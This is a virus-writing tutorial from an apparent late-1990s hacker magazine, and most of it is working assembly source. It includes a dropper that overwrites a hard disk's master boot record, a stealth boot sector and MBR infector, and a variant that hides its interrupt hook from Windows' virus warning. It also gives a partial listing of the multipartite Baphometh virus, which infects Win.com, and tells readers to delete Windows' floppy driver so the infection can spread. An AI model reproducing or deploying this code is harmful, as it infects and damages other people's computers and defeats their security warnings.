Windows Compatible BS/MBR and Multipartite Viruses
a tutorial written by SPo0Ky, with the help of Opic and CTRL-ALT-DEL


Welcome to the 5th CB tutorial, now that we have given you a solid foundation with our previous tutorials build upon; its time to move on, deeper into the fascinating world of viruses - viruses which actually have a chance to survive.

With the dying of MS-DOS old EXE and COM viruses became pretty obsolete, nowadays the only viruses having a chance to survive 'in the wild' are macro viruses, viruses infecting new executable formats (NE/PE/LE,..) and well programmed (windows compatible) boot and multipartite viruses. Closing the chapter on MS-DOS we'll start off showing you how to write BS- (Boot Sector), MBR- (Master Boot Record) and Multiparitite viruses. If you didn't do so yet, please read the previous editions of our magazine, a rather good knowledge of Assembler, MS-DOS and TSR viruses is required to understand this tutorial.

Normally Horny Toad would have written this tutorial, though he has been a bit busy with his life in the last half year so I had to write it. He will be back around Y2K, so you can expect articles from him again in CB#6/7. In the meantime I hope you do not have any problems understand my not so native language english :-)

- What is a BS/MBR virus? -

BS and MBR viruses do not infect files, they infect sectors of disks (Bootsectors and Master Boot Records). In my opinion they are easier to write then EXE infectors. There is no maths to do, stealth is much easier to implement and there is no changing filesize/time/date which could make the user suspicious. The only problems you have to worry about are Windows and the BIOS Virus Warning, both have some generic antivirus features built in. In most BIOSs there is an option which when enabled prevents any program to write to the MBR of a HDD, or at least it asks the user if he really wants to allow the program to write to the MBR. Also Windows displays a message box when the MBR has been changed warning the user of a possible virus infection. Both of these antivirus features can be easily passed though.

- Master Boot Records, Bootsectors and Partition Tables -

The Master Boot Record is located on the first sector of each harddisk drive. Please note that there is a difference between a Master Boot Record and a Bootsector, many people don't seem to know that. Floppies do NOT have a MBR, they only have a bootsector, the MBR ONLY exists on the first physical sector of a HDD. The first physical sector of a floppy and the first sector of a partition is called a bootsector.

The first 446 bytes of the MBR consist of code which gets loaded to 0000:7C00 and then executed by the BIOS when you switch your computer on, the rest consists of the partition table and 2 marker bytes (55h + AAh), this last two bytes indicate that it is a valid MBR, if they are missing you'll get a error message when trying to boot from such a disk. The purpose of the MBR's code is to check the partition table - which stores information about the partitions on a HDD - and to find the partition which is marked as 'bootable'. After it has found the bootable partition it loads the first sector of this partition (-> the bootsector) into memory and executes it.

The format of the MBR and Partition Table looks like this:

  Offset from    
 Start of Disk   Offset   Size       Description

  000H           00H      446 bytes  Executable Code

  1BEH (Partition Table starts here) 1st Partition Table Entry
                 00H      1 byte     Boot Indicator
                 01H      1 byte     Beginning Head
                 02H      1 byte     Beginning Sector
                 03H      1 byte     Beginning Cylinder
                 04H      1 byte     System Indicator
                 05H      1 byte     Ending Head
                 06H      1 byte     Ending Sector
                 07H      1 byte     Ending Cylinder
                 08H      4 bytes    Relative Starting Sector
                 0CH      4 bytes    Number of Sectors

  1CEH                               2nd Partition Table Entry
                 00H      1 byte     Boot Indicator
                 01H      1 byte     Beginning Head
                 02H      1 byte     Beginning Sector
                 03H      1 byte     Beginning Cylinder
                 04H      1 byte     System Indicator
                 05H      1 byte     Ending Head
                 06H      1 byte     Ending Sector
                 07H      1 byte     Ending Cylinder
                 08H      4 bytes    Relative Starting Sector
                 0CH      4 bytes    Number of Sectors

  1DEH                               3rd Partition Table Entry
                 00H      1 byte     Boot Indicator
                 01H      1 byte     Beginning Head
                 02H      1 byte     Beginning Sector
                 03H      1 byte     Beginning Cylinder
                 04H      1 byte     System Indicator
                 05H      1 byte     Ending Head
                 06H      1 byte     Ending Sector
                 07H      1 byte     Ending Cylinder
                 08H      4 bytes    Relative Starting Sector
                 0CH      4 bytes    Number of Sectors

  1EEH                               4th Partition Table Entry
                 00H      1 byte     Boot Indicator
                 01H      1 byte     Beginning Head
                 02H      1 byte     Beginning Sector
                 03H      1 byte     Beginning Cylinder
                 04H      1 byte     System Indicator
                 05H      1 byte     Ending Head
                 06H      1 byte     Ending Sector
                 07H      1 byte     Ending Cylinder
                 08H      4 bytes    Relative Starting Sector
                 0CH      4 bytes    Number of Sectors
       (Partition Table ends here)

  1EFH           00H      2 bytes    55AAH Signature

Bootsectors are located on cylinder 0, head 0 and sector 1 on floppy disks, on HDDs they are located on the first sector of every partition. Their purpose is to load the operating system which is installed on the corresponding partition, bootsectors also provide information about the disk which is nesseccary for the OS to be able to access it, a MS-DOS bootsector looks like this:

 Offset:    Size:       Description:
   00H  -  3 bytes   -  JUMP Instruction to Executable Code
   03H  -  8 bytes   -  Optional OEM Name and Version
   0BH  -  2 bytes   -  Bytes Per Sector
   0DH  -  1 byte    -  Sectors Per Allocation Unit
   0EH  -  2 bytes   -  Reserved Sectors (Starting at 0)
   10H  -  1 byte    -  Number of File Allocation Tables
   11H  -  1 byte    -  Number of Root Directory Entries
   13H  -  2 bytes   -  Total Number of Sectors (if size is larger than
                        32MB, this value is 0 and the size is a
                        offset 20H)
   15H  -  1 byte    -  Media Descriptor
   16H  -  2 byte    -  Number of Sectors Per FAT
   18H  -  2 bytes   -  Sectors Per Track
   1AH  -  2 bytes   -  Number of Heads
   1CH  -  4 bytes   -  Number of Hidden Sectors
   20H  -  4 bytes   -  Total Number of Sectors (See offset 13H)
   24H  -  2 bytes   -  Physical Drive Number
   26H  -  1 byte    -  Extended Boot Record Signature (29H)
   27H  -  4 bytes   -  Volume Serial Number
   2BH  -  11 bytes  -  Volume Label
   36H  -  7 bytes   -  File System Identifier (FAT12  ), (FAT16  ),...

As you can see, the format of both the MBR and BS are very simple, and, as you'll see later, the good thing is that you do not even have to change any of these values to infect the computer :-)

- Interrupts/Functions we will make use of -

  * Interrupt 13h / AH = 2

    Int 13h/Func 2 is used to read one or more sectors from a disk into
    memory.

      AH = 02h
      AL = number of sectors to read (must be nonzero)
      CH = low eight bits of cylinder number
      CL = sector number 1-63 (bits 0-5)
           high two bits of cylinder (bits 6-7, hard disk only)
      DH = head number
      DL = drive number (bit 7 set for hard disk)
      ES:BX -> data buffer


  * Interrupt 13h / AH = 3

    Same as function 2, but instead of reading it writes data to sectors on
    a disk.

      AH = 03h
      AL = number of sectors to write (must be nonzero)
      CH = low eight bits of cylinder number
      CL = sector number 1-63 (bits 0-5)
           high two bits of cylinder (bits 6-7, hard disk only)
      DH = head number
      DL = drive number (bit 7 set for hard disk)
      ES:BX -> data buffer


  * Interrupt 19h

    This interrupt reboots the system without clearing memory or restoring
    interrupt vectors. It should be called with the value in DL representing
    the boot drive (00h+ = floppy; 80h+ harddisk drive)

- Infection Theory -

When you switch the computer on the virus gets loaded into memory from either the bootsector if you are booting from a floppy, or from the MBR if you are booting from a HDD (actually doesn't matter), and may then follow this steps for example:

  1. Allocate some memory for the virus
  2. Copy the virus to the allocated memory
  3. Hook interrupt 13h
  4. Either write your own routine to search for the active parition and to load it's bootsector, or just use INT 19h to REBOOT now. I'll explain the 2nd method here (using INT 19h).

Interrupt 19h requires the bootdrive in DL. The bootdrive is stored in DL when the BS/MBR got loaded, so make sure that you never change DL in the above steps until you call INT 19h!

When INT 19h gets executed it will load the first sector (BS on floppies or the MBR on HDD's) of the drive (DL) into memory. At this point we need a stealth routine, else INT 19h would load the virus into memory again and again (and thus hang the computer). The stealth routine will have to check if something is trying to read the first sector of a disk and if this disk is already infected. If it is infected the stealth routine has to redirect the 'read function' to the sector where the original BS/MBR is stored, so that INT 19h will read the original sector instead of reading the already infected one again.

Here is the INT 13h handler for stealth and infection:

  1. Check if a 'read' function (AH = 2) is called, and if it points to cylinder 0, head 0 and sector 1. If thats true go to #3
  2. JMP to original INT 13h
  3. Execute a fake Int 13h call (pushf + call [original_int13h]) to read the sector.
  4. Check if the read sector is already infected (using some marker bytes)
  5. If it is infected go to #13 (stealth), else lets infect it.
  6. If DL is 80h or above (HDD) go to #11
  7. If DL was below 80h (Floppy) we continue here. At first the virus should copy the 3Ch bytes beginning at offset 3h in the BS into 'itself' to offset 3h. This means that we have to put a buffer of 3Ch bytes at the beginning of our virus... floppy_stuff db 3Ch dup(0)
  8. Write the original BS to an unused or seldom used area on the disk, the end of the 'root directory' (see below) is a rather good place.
  9. Overwrite the first sector of this disk with the virus.
  10. popf + retf :-) ... leave the interrupt routine.
  11. Now we have two options, either we copy the parition table into our virus's code (to offset 1BEh) or not. If we don't copy it the user will not be able to access the infected HDD if he boots from a CLEAN bootdisk. This would make the user suspicious, but could also keep SOME (not many) AV products from accessing (cleaning) the infected HDD, and we'd get 64 extra bytes for virus code :-). Anyway, in this tutorial's example virus I'll copy the partition tabel just to show you how it works. So, we now copy the partition table into the virus. Don't forget the 64 byte buffer at offset 1BEh... partition_table db 64 dup(0)
  12. Save the original MBR at some seldom used area on the HDD. On HDD's the whole first cylinder (minus the first sector) is unused, so we will just save the original MBR at sector 2, and then go to #9.
  13. Simple stealth routine, just overwrite the sector (in memory) we have read right now with the saved (origial) BS (if floppy) or with the saved MBR (if HDD). Then go to #10.

Thats about everything there is to do (in a very generic BS/MBR virus), before I continue with the source code I'll try to explain the basics of how the MS-DOS filesystem works.

- The MS-DOS Filesystem -

  The structure of a MS-DOS partition (or of a for MS-DOS formated floppy)
 +---+-----+-----+-----+---------------------------------------------------+
 |BBB|FFFFF|FFFFF|RRRRR|DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD|
 |BBB|FFFFF|FFFFF|RRRRR|DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD|
 +---+-----+-----+-----+---------------------------------------------------+
   |    |     |     |                       |
   |    +-----+     |                       +-- Data Area
   |          |     +-------------------------- Root Directory
   |          +-------------------------------- File Allocation Tables (FAT)
   +------------------------------------------- Boot Sector

The Boot Sector, File Allocation Tables and the Root Directory are the System Area of a MS-DOS disk, they use only a few sectors of the disk to store information about the disk and about the files stored on the disk.

Clusters?

Well, instead of using sectors DOS divides a disk up into logical units, called clusters. A cluster consists of one or more sectors, its size can be as small as one sector or much bigger (-> defined in the boot sector).

File Allocation Tables (FATs)

DOS needs a way to manage the space on the disk, it needs to know which clusters of the disk are available to store new data, and which clusters are already used by files. The FAT is just a table of numbers, each cluster has one FAT entry which can have one of these values:

   Value              Meaning

   00000h             Free Sector
   0FFF0h to 0FFF6h   Reserved
   0FFF7h             Bad Sector - data error or other
   0FFF8h to 0FFFFh   End of File Chain
   All other numbers are pointers to the next cluster in the chain.

Each FAT entry can be either 12, 16 or 32 bits long, the bigger the disk is the more bits are needed. FAT12 goes up to 16MB (Floppies, and small HDD's), FAT16 goes up to 2GB and FAT32 goes up to 4TB (Terrabytes). There are two copies of the FAT, but only the first one is actually used, the second one could be used to perform datarecovery if the first FAT got corrupted.

The Root Directory

The root directory consists of 32 byte entries, the number of possible entries is specified in the boot sector. Each entry stores information like name and extension, attribute, time and date of last write access, start cluster and the filesize about one file or directory.

If DOS wants to read a file it has to find the corresponding entry in the root directory first. After that it can read the data beginning at the starting cluster specified in the directory entry, after reading the data of the first cluster it has to lookup the next cluster in the FAT, it continues this loop of reading/finding next cluster until it has read the number of bytes specified in the file's directory entry.

You can read vulture's ASM Tutorial #2, which he suggested to include into this edition of our magazine, if you want a much more detailed explanation of the MS-DOS filesystem.

- The Source Code -

After lots of theoretical stuff here is finally the source code to a simple BS/MBR infector and its dropper.

The Dropper

- you need it to 'install' the virus on a HDD's MBR, after you finished compiling the virus (following the instructions in its source code) you get a file called virus.bin. The dropper program will save the original MBR of the HDD at sector 2 (like the virus would do it) and then overwrite the MBR with the code contained in virus.bin.

Before you continue reading the following parts of this tutorial I suggest you to copy/paste this virus's source code, compile it, test it (on an old machine :-) and edit it until you understand -exactly- how it works, most of the time studying some well commented source codes is much more helpful then reading a tutorial. But before you give it a run on your computer you might probably want to make a backup copy of your MBR so you can easily disinfect your HDD again, my favority program for doing this is TBUTIL which is included in the ThunderByte AntiVirus package, available at www.thunderbyte.com, its easy to use, just type TBUTIL ST to save your MBR and TBUTIL RE to restore it (don't forget to reboot after restoring the MBR). You can also use Evil-E's programs to save/restore your MBR, they are in the utilities directory (including source code).

Please execute the dropper program in 100% MS-DOS. Both this virus and it's dropper will not functioning in Windows. To make the virus work in Windows read on below (after the virus source code).

 --- Dropper source code starts here ---

.286

dropper segment para private 'code'
  assume cs:dropper, ds:dropper, es:dropper

start:
 mov ax,dropper
 mov ds,ax
 mov es,ax

 mov ax,3D02h
 lea dx,virus
 int 21h            ; open the file 'virus.bin'

 xchg ax,bx

 mov ah,3fh
 lea dx,viruscode
 mov cx,512
 int 21h            ; read 512 bytes (one sector) from virus.bin into memory

 mov ah,3eh
 int 21h            ; close the file


 mov dl,80h         ; we'll put it onto the first HDD (80h)

 mov ax,0201h       ; read, one sector
 lea bx,MBR         ; to offset MBR
 mov cx,1           ; from cylinder 0, sector 1
 mov dh,0           ; and head 0 (location of the MBR)
 int 13h

 mov ax,0301h       
 lea bx,MBR
 mov cx,2           ; save the original MBR at sector 2
 mov dh,0
 int 13h

 lea si,MBR         ; save the partition table data at offset
 add si,1BEh        ; viruscode + 1BEh
 lea di,viruscode
 add di,1BEh
 mov cx,66
 rep movsb

 mov ax,0301h       ; overwrite the original MBR with our virus    
 lea bx,viruscode
 mov cx,1
 mov dh,0
 int 13h

 mov ax,4C00h
 int 21h            ; done

 virus db 'virus.bin',0

 viruscode db 512 dup(?)    ; buffer for the virus's code
 MBR       db 512 dup(?)    ; buffer for the original MBR
dropper ends
end start

 --- Dropper source code ends here ---



 --- Virus source code starts here ---

; How to compile it:
;  save it as virus.asm, then type
;   TASM virus.asm
;   TLINK virus.obj
;   EXE2BIN virus.exe
;
;  Everything the EXE2BIN program does is to cut away the exe header
;  and to save the resulting file as virus.bin, what you will need
;  is virus.bin, not virus.exe!

.286

Virus segment para private 'code'
  assume CS:Virus

 ORG 0

Start:
  jmp $+3Ch+3
  nop

  db 3Ch dup(?)     ; All the floppy stuff will be stored here

  xor ax,ax         ; setup the stack, as BS/MBR's get loaded to 0:7C00h
  cli               ; its best to set sp to the same
  mov ss,ax
  mov sp,7c00h
  sti

  mov ds,ax

  int 12h               ; same as mov ax, [0000:0413h]
  dec ax                ; decrease free memory by one Kb

  mov ds:[0413h],ax     ; save it

  shl ax,6              ; convert to segments
  mov es,ax

  mov si,7C00h          ; copy the virus to the top of memory
  xor di,di
  mov cx,TheEnd - Start
  rep movsb


  xor ax,ax
  mov ds,ax
  lea ax,NewInt13h
  mov bx,es
  cli
    xchg ax,ds:[13h*4]      ; hook int 13h,
    xchg bx,ds:[13h*4+2]
    mov ds:[0F6h*4],ax      ; and save its original address at int 0F6h so
    mov ds:[0F6h*4+2],bx    ; we can use int 0F6h as int 13h without
  sti                       ; activating the stealth routine

  call Payload              ; displays a message on the 1st of every month
                            ; when booting from an infected disk.

  int 19h                   ; now reboot (tries to re-read the BS/MBR,
                            ; this time the stealth routine is active and
                            ; thus it will load the original sector)

 NewInt13h:                 ; new interrupt 13h

  cmp ah,2                  ; is something being read?
  jne NotForUs
  cmp cx,1                  ; from cylinder 0 (CH), sector 1 (CL)?
  jne NotForUs
  cmp dh,0                  ; and from head 0?
  jne NotForUs

  int 0F6h                  ; if so, read it to the address where it is
                            ; supposed to go

  jnc ViralStuff            ; either infect it, or stealth it

  retf 2                    ; if there was an error leave the isr without
                            ; restoring the flags (as they indicate the
                            ; error).

 NotForUs:
  int 0F6h                  ; if there is nothing to be read, or if it is
  retf 2                    ; not being read from CHS 0/0/1 then exit
                            ; the isr also.

 ViralStuff:
  pushf
  pusha
  push es
  push ds

  cmp es:[bx+offset InfectionMarker],'CB'   ; check the read sector for our
  jne Infect                                ; infection marker. if its
                                            ; already there we stealth it,
                                            ; else we infect the disk

  mov ax,0201h                              ; stealth routine (simple, isn't
  call GetBSMBRSector                       ; it? :-) GetBSMBRSector fills
  int 0F6h                                  ; CX and DX with the correct
                                            ; values (either second sector
                                            ; if we are working with a HDD,
                                            ; or end of root directory -
                                            ; head 1, cylinder 14 if its
                                            ; a floppy)

  jmp Return                                ; stealth - done

 Infect:                      
  mov ax,0301h              ; here we go if there was no infection marker
  call GetBSMBRSector       ; found yet. again, fill CX and DX with the
  int 0F6h                  ; correct values, and save the original BS/MBR

  push es cs                ; DS = ES
  pop es ds                 ; ES = CS

  mov si,bx                 ; copy the floppy stuff (Bios Parameter Block
  add si,2                  ; and such) into our virus, from ES:BX+2 to
  lea di,[Start+2]          ; CS:Start+2
  mov cx,3Ch
  rep movsb

  mov si,bx                    ; also the paritiontable has to be copied
  add bx,offset PartitionTable ; if we want to keep the HDD accessible
  lea di,PartitionTable        ; even when the virus is not memory resident.
  mov cx,64                    ; you can just leave this routine away if you
  rep movsb                    ; don't want the user to be able to access
                               ; the HDD while the virus is not resident.

  mov ax,0301h              
  xor bx,bx
  mov cx,1
  mov dh,0                  ; and finally overwrite the original BS/MBR
  int 0F6h                  ; with the virus code.

 return:
  pop ds
  pop es
  popa
  popf
  retf 2                    ; exit the isr, again without restoring the
                            ; flags!

 GetBSMBRSector:            ; this routine fills CX and DX with the correct
                            ; values (-> cylinder, heads, sectors where the
                            ; original BS/MBR is stored)
  or dl,dl
  js HDD                    ; it is a HDD if DL is greater then 80h.
                            ; 80h in binary is 10000000b, so we just have
                            ; to check if the SIGN flag is set after a
                            ; OR DL,DL

  mov cx,14                 ; if its a floppy we use sector 14, cylinder 0
  mov dh,1                  ; and head 1 (end of root directory).
  ret

 HDD:
  mov cx,2                  ; if its a HDD it uses sector 2, cylinder 0
  mov dh,0                  ; and head 0.
  ret

 Payload:                   ; a simple and harmless payload, it just
  mov ah,4                  ; displays a message on every 1st of a month
  int 1ah                   ; when booting from an infected disk.
  cmp dl,1
  je DisplayMessage
  ret
 DisplayMessage:
  lea si,[7C00h + Message]
  mov ah,0eh
  mov bx,7
 MsgLoop:
  lodsb
  or al,al
  jz MsgDone
  int 10h
  jmp MsgLoop
 MsgDone:
  xor ah,ah
  int 16h
  ret

 InfectionMarker dw 'CB'

 Message db '  Your puter''s ill',0ah,0dh
         db '     --CB Staff',0ah,0dh,0ah,0dh
         db ' http://www.avp.ch, coz http://www.nai.com sux',0ah,0dh


 ORG 1BEh                       ; don't forget this ORG 1BEh (ORG 446) as
                                ; the partition table begins at this offset

 PartitionTable db 64 dup(?)
 db 55h, 0AAh

 TheEnd label byte


Virus ends
end start

 --- Virus source code ends here ---

- Windows!? -

Now that you have (hopefully) understood and tested the above virus you will probably have experienced some problems when trying to running it in Windows.

Ok lets get rid of the first problem. The problem here is that Windows doesn't allow you to 'directly' access disks using INT 13h, the easiest solution for this problem I have found is just to use a fake INT 13h call (thanks to Device for this suggestion :-). Instead of writing INT 13h, you write:

   pushf
   call dword ptr cs:[OriginalInt13h]

OriginalInt13h certainly needs to be filled with the segment:offset of the original interrupt 13h first,

   push ax si ds
   xor ax,ax
   mov ds,ax

   lds si,ds:[13h*4]    ; load int13's segment and offset into DS:SI

   mov word ptr cs:[OriginalInt13h],si
   mov word ptr cs:[OriginalInt13h+2],ds
   pop ds si ax

... after that you can always use PUSHF / CALL to execute the INT 13h call, even while in Windows.

On to problem number two, this one needs a few thoughts first. Why does windows display this message box? Actually windows is lying when it's telling the user that his MBR has been changed - it doesn't even check the MBR. All it does is check the address of the ISR 13h, if it doesn't point into read only memory (which means that it has been hooked, by a virus for example) it displays the warning message. So everything we'd have to do is to make INT 13h point into read only memory when we hook it. Problem is, we'd also have to copy the virus into ROM, which can't be done.

I have found the solution to this in the virus Lilith (credits to its author, whoever that is :-)

What Lilith does is it first searches the ROM (0F000:0000 -> 0F000:FFFF) for the opcode of INT 18h (which is 18CDh). It then makes INT 13h point to the address where it has found the INT 18h opcode, and finally it hooks INT 18h to the address of the virus's INT 13h handler. So when INT 13h gets called it first jumps into ROM, at this address a INT 18h gets executed - which then jumps to the virus code.

Here is another example virus, it is the same as the above virus with the only difference that it uses the 'INT 18 tech' to prevent Windows from noticing the possible virus infection.

 --- Virus source code starts here ---

.286

Virus segment para private 'code'
  assume CS:Virus

 ORG 0

Start:
  jmp $+3Ch+3
  nop

  db 3Ch dup(?)

  xor ax,ax
  cli
  mov ss,ax
  mov sp,7c00h
  sti

  mov ds,ax

  int 12h
  dec ax

  mov ds:[0413h],ax

  shl ax,6
  mov es,ax

  mov si,7C00h
  xor di,di
  mov cx,TheEnd - Start
  rep movsb

  push es               ; push the address of the newly allocated memory,
  push offset InMem
  retf                  ; and jump to it

 InMem:
  xor ax,ax
  mov es,ax             ; set ES to zero (interrupt table)

  mov ax,0F000h         ; make DS point to the beginning of the ROM.
  mov ds,ax

  xor si,si             ; start to search at offset zero.
 Int18hLoopy:
  cmp word ptr ds:[si],18CDh    ; search for the opcode of INT 18h.
  je FoundInt18h        ; if its been found, exit.
  inc si                ; else check the next two bytes.
  cmp si,0FFFFh         ; continue this loop until the opcode has been found
  jne Int18hLoopy       ; or until SI = FFFF.

  lea ax,NewInt13h+3    ; if the opcode of INT 18h has NOT been found we
  mov bx,cs             ; hook INT 13h normally..
  cli
   xchg ax,word ptr es:[13h*4]
   xchg bx,word ptr es:[13h*4+2]
   mov word ptr es:[0F6h*4],ax
   mov word ptr es:[0F6h*4+2],bx
  sti

  jmp Reboot

 FoundInt18h:           ; if the opcode was found execution continues here,
                        ; with the address of an INT 18h opcode in F000:SI

  xor ax,ax
  mov ds,ax             ; DS = 0 (interrupt table)

  cli
  les bx,ds:[13h*4]     ; load the address of the original INT 13h entry
                        ; into ES:BX

  mov ds:[0F6h*4],bx    ; make INT 0F6h = original INT 13h
  mov ds:[0F6h*4+2],es

  mov ds:[13h*4],si                 ; hook INT 13h to the address where the
  mov word ptr ds:[13h*4+2],0F000h  ; INT 18h opcode was found

  mov word ptr ds:[18h*4],offset NewInt13h  ; and finally, make INT 18h point
  mov ds:[18h*4+2],cs                       ; to the virus's code.
  sti

 Reboot:
  int 19h

 NewInt13h:
  add sp,6      ; <--- do not forget this ADD SP,6 at the beginning of your
                ; INT 13h routine if you use this technique!!
                ; Whats that for!?
                ; Well, when a program executes an INT 13h the CPU first
                ; pushes the flags followed by CS:IP of the next instruction,
                ; then it jumps to the INT 18h opcode, which again pushes the
                ; flags followed by another pair of CS:IP. You have to get
                ; rid of the 3 values pushed by INT 18h, else the CPU would
                ; jump past the INT 18h opcode (which can be anything,
                ; code/data/...) and crash once an IRET is executed.
                ; ADD SP,6 moves the stack pointer 6 bytes (3 words) up
                ; again... making the INT 18h call seem to have never
                ; happend :-)

 ; - everything below this line is the same as in the first example virus -
  cmp ah,2
  jne NotForUs
  cmp cx,1
  jne NotForUs
  cmp dh,0
  jne NotForUs

  int 0F6h

  jnc ViralStuff

  retf 2

 NotForUs:
  int 0F6h
  retf 2

 ViralStuff:
  pushf
  pusha
  push es
  push ds

  cmp es:[bx+offset InfectionMarker],'CB'
  jne Infect                             

  mov ax,0201h
  call GetBSMBRSector
  int 0F6h

  jmp Return

 Infect:                      
  mov ax,0301h
  call GetBSMBRSector
  int 0F6h

  push es cs
  pop es ds

  mov si,bx
  add si,2
  lea di,[Start+2]
  mov cx,3Ch
  rep movsb

  mov si,bx
  add bx,offset PartitionTable
  lea di,PartitionTable
  mov cx,64
  rep movsb

  mov ax,0301h              
  xor bx,bx
  mov cx,1
  mov dh,0
  int 0F6h

 return:
  pop ds
  pop es
  popa
  popf
  retf 2

 GetBSMBRSector:
  or dl,dl
  js HDD

  mov cx,14
  mov dh,1
  ret

 HDD:
  mov cx,2
  mov dh,0
  ret

 InfectionMarker dw 'CB'

 ORG 1BEh

 PartitionTable db 64 dup('X')
 db 55h, 0AAh

 TheEnd label byte


Virus ends
end start
  
 --- Virus source code ends here ---

Problem #3: why do the disks not get infected when they are accessed in Windows? Thats because Windows uses its own (32bit) routines to access disks. We'd have to get Windows to use the good old BIOS routines again to be able to infect accessed disks even while in Windows. The solution is simple, you just delete (INT 21h / Func 41h) Windows's floppy disk driver, which is C:\WINDOWS\SYSTEM\IOSUBSYS\HSFLOP.PDR. The example virus in the next part (Baphometh v1.0) will do exactly this to continue it's dirty work even while in windows.

- Multipartite -

Multipartite viruses are viruses which infect both BS/MBRs and files. Well, to infect files the virus has to hook INT 21h, the only thing that keeps us from just hooking this interrupt is that MS-DOS is not loaded at the time the virus code is run (at boot time).

To be able to hook the MS-DOS interrupt/functions we have to WAIT until MS-DOS finished loading.

The easiest method to wait until MS-DOS is loaded probably is to just hook INT 1Ch or INT 8h (Timers - these interrupts are called 18.2 times per second) and to install a counter into them which gets increased by one everytime they are executed. If you want to wait 5 seconds for example you'd check the counter for 5 * 18.2. After this time you could be rather sure that MS-DOS finished loading and that all of its functions are available now. The problem with this method is that all computers have different speeds, so it could crash on very slow computers as 5 seconds are not enough for them to load DOS, and the very fast ones might crash as they might already have began loading Win95 after these 5 seconds. I think the method CTRL-ALT-DEL uses in the new version of his multipartite virus Baphometh (v2.1) is much better, what he does is to not use timer interrupts, but instead implement a routine which checks the interrupt vectors of INT 20h and INT 21h - he assumes that DOS finished loading once the segments of INT 20h and of INT 21h are not zero anymore, once they are below 0800h, and once both point to the same segment. The INT 13h handler of Baphometh V2.1 looks like this:

 EvilInt13h:
  pushf

  cmp ah,0F2h           ; install check
  jne NoInstallCheck
  mov bx,4321h
  popf
  iret
 NoInstallCheck:

  pusha                 ; here starts the routine
  push ds

  cmp byte ptr cs:[DosFinishedLoading],1    ; leave the routine if it has
  je DontHookInt21hYet                      ; already detected that DOS
                                            ; has finished loading in a
                                            ; previous call.

  xor ax,ax
  mov ds,ax             ; DS = interrupt table

  mov ax,ds:[21h*4+2]   ; AX = segment of INT 21h

  cmp ax,0              ; exit if its zero
  je DontHookInt21hYet

  cmp ax,800h           ; exit if its above 800h
  ja DontHookInt21hYet

  cmp ax,ds:[20h*4+2]   ; if it is not the same as the segment of INT 21h
  jne DontHookInt21hYet ; exit also

  mov byte ptr cs:[DosFinishedLoading],1    ; else it sets the flag which
                                            ; indicates that dos finished
                                            ; loading,

  lea ax,EvilInt21h                         ; and hooks INT 21h
  mov bx,cs
  cli
  xchg ax,ds:[21h*4]
  xchg bx,ds:[21h*4+2]
  mov word ptr cs:[GoodInt21h],ax
  mov word ptr cs:[GoodInt21h+2],bx
  sti

 DontHookInt21hYet:
  pop ds
  popa

  cmp ah,2
  jne NotForUs
  cmp cx,1
  jne NotForUs
  cmp dh,0
  jne NotForUs

... and so on...

Please note that this was the interrupt handler of Baphometh v2.1, previous versions (v1.0 and v2.0) used the timer method to wait until DOS finished loading.

The full source codes of version 2.0 and v2.1 are included in the magazine. Anyway, as you can see writing such a virus is not hard either, the only critical part is to hook INT 21h at the exact time.

Following is the source code of Baphometh v1.0, it was not very optimized written and contains quit some stuff which does not nessecary have to be included in an example virus. Just concentrate on the important parts like the timer routine, interrupt hooking, once you understood these theories there should not be any problems for you anymore to use your own creativity to come up with other (maybe even better) methods of accomplishing the same results.

 --- Virus source code starts here ---

; Baphometh was written by CTRL-ALT-DEL, a member of The CodeBreakers and
; of the Alternative Virus Mafia, some comments have been added by SPo0Ky
; for CB5.
;
; How to compile it:
;  save it as bapho.asm, then type
;   TASM bapho.asm
;   TLINK bapho.obj
;
; There is no need for EXE2BIN or for a dropper in this virus, just execute
; the generated .EXE file and it will infect the MBR of your first HDD,
; infect Win.com, and hook INT 21h. The next time you boot your computer
; it will also hook INT 13h to infect accessed disks.


.286

Baphometh segment
  assume cs:Baphometh

 ORG 0

 COM equ 0
 EXE equ 1


StartOfBaphometh:
  jmp OverFloppyStuff

 db 3Ch dup(?)

 OverFloppyStuff:
  xor ax,ax
  cli
  mov sp,7C00h
  mov ss,ax
  sti

  mov ds,ax
  sub word ptr ds:[413h],4      ; decrease the top of memory by 4KB
  mov ax,ds:[413h]
  shl ax,6

  mov es,ax

  push cs
  pop ds

  mov cx,EndOfFirstPart - StartOfBaphometh
  xor di,di
  mov si,7C00h
  rep movsb                     ; copy the virus to top of memory

  push es
  push offset TopOfMem
  retf                          ; continue execution at TopOfMem

  Marker dw 'DT'

 GetBaphomethSector:            ; baphometh consists of more then one sector
  mov cx,12                     ; of code, this routine returns the cylinder,
  mov dh,1                      ; head and sector of where the rest of the
  cmp dl,80h                    ; virus code is stored (cylinder 0, head 1,
  jb ItsAFloppy                 ; sector 12 on floppies and cylinder 0,
  mov cx,3                      ; head 0, sector 3 on HDD's).
  mov dh,0
 ItsAFloppy:
  ret

 TopOfMem:
  xor ax,ax
  mov ds,ax

  lea ax,EvilInt13h                     ; hook interrupt 13h
  mov bx,cs
  cli
  xchg ds:[13h*4],ax
  xchg ds:[13h*4+2],bx
  mov word ptr cs:[GoodInt13h],ax
  mov word ptr cs:[GoodInt13h+2],bx
  sti

  mov ax,0202h                          ; read the rest of baphomeths code        
  lea bx,EndOfFirstPart                 ; into memory (append it after the
  call GetBaphomethSector               ; first 512 bytes)
  call OldInt13h

  mov word ptr cs:[Timer],0             ; reset the timer
  mov DosFinishedLoading,0              ; 0 = dos not loaded yet

  lea ax,EvilInt1Ch                     ; hook int 1Ch (timer which gets
  mov bx,cs                             ; executed 18.2 x per second)
  cli
  xchg ds:[1Ch*4],ax
  xchg ds:[1Ch*4+2],bx
  mov word ptr cs:[GoodInt1Ch],ax
  mov word ptr cs:[GoodInt1Ch+2],bx
  sti

  push cs
  pop ds

  int 19h                               ; reboot

 EvilInt1Ch:                            ; INT 1Ch handler
  pushf
  pusha
  push ds

  cmp byte ptr cs:[DosFinishedLoading],1
  je DontHookInt21hYet                  ; if dos has finished loading yet it
                                        ; just leaves the interrupt

  inc word ptr cs:[Timer]               ; else increase the Timer by one

  cmp byte ptr cs:[Timer],190           ; if 10 seconds (190 / 18.2) have
  jb DontHookInt21hYet                  ; passed it hooks INT 21h,

  mov DosFinishedLoading,1              ; and sets the flag indicating that
                                        ; dos is ready.

  call HookInt21h

 DontHookInt21hYet:
  pop ds
  popa
  popf
 db 0eah
 GoodInt1Ch dd ?
 Timer dw 0
